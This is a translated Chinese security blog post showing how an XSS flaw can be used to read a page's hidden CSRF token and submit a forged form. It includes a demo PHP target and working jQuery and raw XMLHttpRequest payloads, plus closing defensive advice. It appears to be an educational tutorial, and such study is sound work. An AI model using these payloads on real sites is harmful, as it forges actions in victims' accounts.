【技术分享】如何利用XSS窃取CSRF令牌
作者:admin | 时间:2017-11-23 01:33:12 | 分类:黑客技术 隐藏侧边栏展开侧边栏
一、前言
隐藏令牌是保护重要表单信息免受CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击影响的一种绝佳方案,然而,只需一次简单的XSS(Cross-Site Scripting,跨站脚本)攻击,攻击者就能让这种保护屏障形同虚设。
在本文中,我会介绍使用XSS来窃取CSRF令牌的两种技术,通过已窃取的令牌提交表单,完成攻击任务。
我们的攻击对象为某个网页表单,其源码(csrf.php
)如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<!doctype html>
< html >
< head >
< title >Steal My Token</ title >
</ head >
< body id = "body" >
<? php
$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
if ($_POST['token'] === "secret_token") {
print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</ p >";
fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "\n");
} else {
print "< p >Invalid token</ p >";
fwrite($h, "Invalid token passed\n");
}
}
fclose ($h);
?>
< form method = "post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
< input type = "hidden" value = "secret_token" id = "token" name = "token" />
< input type = "text" value = "" name = "message" id = "message" />
< input type = "submit" value = "Submit" />
</ form >
</ body >
</ html >
|
如你所见,上述代码中使用隐藏域(类型为“hidden”的input元素)来阻止CSRF攻击,该input元素的name及id为“token”。提交表单时,网页会检查隐藏域值,如果提交的值与预设值(“secret_token”)相匹配,则显示相应的信息(message),并将信息写入文件中。无效的令牌信息也会写入文件中,以辅助后续的调试工作。
二、使用jQuery代码
第一种方法用到了jQuery库,代码(withjQuery.js)如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
function submitFormWithTokenjQuery (token) {
$.post (POST_URL, {token: token, message: "hello world" })
.done ( function (data) {
console.log (data );
});
}
function getWithjQuery () {
$.ajax ({
type: "GET" ,
url: GET_URL,
// Put any querystring values in here, e.g.
// data: {name: 'value'},
data: {},
async: true ,
dataType: "text" ,
success: function (data) {
// Convert the string data to an object
var $data = $(data);
// Find the token in the page
var $input = $data.find ( "#token" );
// This comes back as an array so check there is at least
// one element and then get the value from it
if ($input.length > 0) {
inputField = $input[0];
token = inputField.value
console.log ( "The token is: " + token);
submitFormWithTokenjQuery (token);
}
},
// In case you need to handle any errors in the
// GET request
error: function (xml, error) {
console.log (error);
}
});
}
var GET_URL= "/csrf.php"
var POST_URL= "/csrf.php"
getWithjQuery();
|
代码中的注释已经足够清晰,这里再简单补充一下:
getWithjQuery函数会向包含表单令牌的目标网页发起GET请求。当网页返回响应数据时,脚本就会调用success函数。在上述代码中,函数会分解网页返回的数据,提取id为“token”的input域,从而获得我们所需的token信息。
随后,该token值被传递到submitFormWithTokenjQuery函数中,该函数会向目标网页(csrf.php)发起POST请求,请求中包含token及message数据。
在代码中,我将GET及POST的URL分开保存,因为有些时候,加载表单以及提交表单的URL并不是同一个URL。
上述代码的确非常冗长,幸运的是,jQuery压缩起来非常方便,因此上述代码可以重写为如下形式(compressedjQuery.js
):
1
2
3
|
$.get( "csrf.php" , function (data) {
$.post( "/csrf.php" , {token: $(data).find( "#token" )[0].value, message: "hello world" })
});
|
如果你在jQuery方面技艺娴熟,那么上述代码可能有更大的压缩空间,但我发现这段代码足以胜任大多数使用场景。
三、使用JavaScript代码
如果实际环境中你无法使用jQuery,那么你还可以选择使用JavaScript原生代码,如下代码(rawJS.js)功能与前文提到的jQuery代码相同,但这种方法不需要依赖任何第三方库:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open( "POST" , POST_URL, true );
// Send the proper header information along with the request
xhr.setRequestHeader( "Content-type" , "application/x-www-form-urlencoded" );
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.send( "token=" + token + "&message=CSRF%20Beaten" );
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document" ;
// true on the end of here makes the call asynchronous
xhr.open( "GET" , GET_URL, true );
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById( "token" );
// Show the token
console.log( "The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send( null );
}
var GET_URL= "/csrf.php"
var POST_URL= "/csrf.php"
getTokenJS();
|
getTokenJS函数使用异步XMLHttpRequest函数向GET_URL地址发起GET请求,当网页返回响应数据时,该函数就从DOM中提取出token元素。
如果input域不包含id属性,那么我们可以用其他类似的方法来替代page.getElementByID
调用,比如:
1、getElementsByClassName
2、getElementsByName
3、getElementsByTagName
这些方法返回的是对象数组,而不是单一对象,因此如果你使用了上述方法,你需要使用数组索引来访问具体元素,具体用法如下:
1
|
input = page.getElementsByTagName( "input" )[0]
|
既然我们已经得到了token数据,现在我们可以将该数据传递给submitFormWithTokenJS函数,通过异步XMLHttpRequest向POST_URL地址发起POST请求。
传递给xhr.send
的字符串为多组键值对,键值对之间使用“&”符号分隔,与查询字符串的形式相同。
如果读者感兴趣,可以进一步压缩这段JavaScript代码。
四、总结
再牢固的堡垒都可能因为一个简单的失误功亏一篑。虽然攻击者仍然需要诱导受害者访问包含XSS代码的页面,或者诱使受害者通过浏览器点击反射型XSS链接,以触发本文介绍的两种攻击场景,但是在实际环境中,想让用户执行点击动作并不是那么困难的一件事。
想要阻止这类攻击也很简单,那就是确保站点不包含XSS漏洞。如果你无法保证这一点,那么最好选择另一种令牌形式。目标网站可以选择让用户输入密码才能执行重要任务,这种处理方式效果上与使用CSRF令牌的效果相同,但会比软件生成令牌的效果要好些,因为后一种情况下,当令牌信息以某种形式发送给浏览器时,令牌信息可能会被攻击者窃取,也相当于攻击者拿到了用户的密码。XSS攻击脚本无法获取用户密码,因此也无法完成整个攻击流程。
CSRF是我们必须注意的攻击方式
另一种方法就是采用带外(out-of-band)确认机制。比如,当我发起新的支付请求时,我的银行会向我发送一条短信,我需要使用短信中的信息来确认支付操作。XSS攻击可以用来触发短信发送行为,但无法读取短信内容,因此也就无法完成攻击过程。
本文由 安全客 翻译,作者:興趣使然的小胃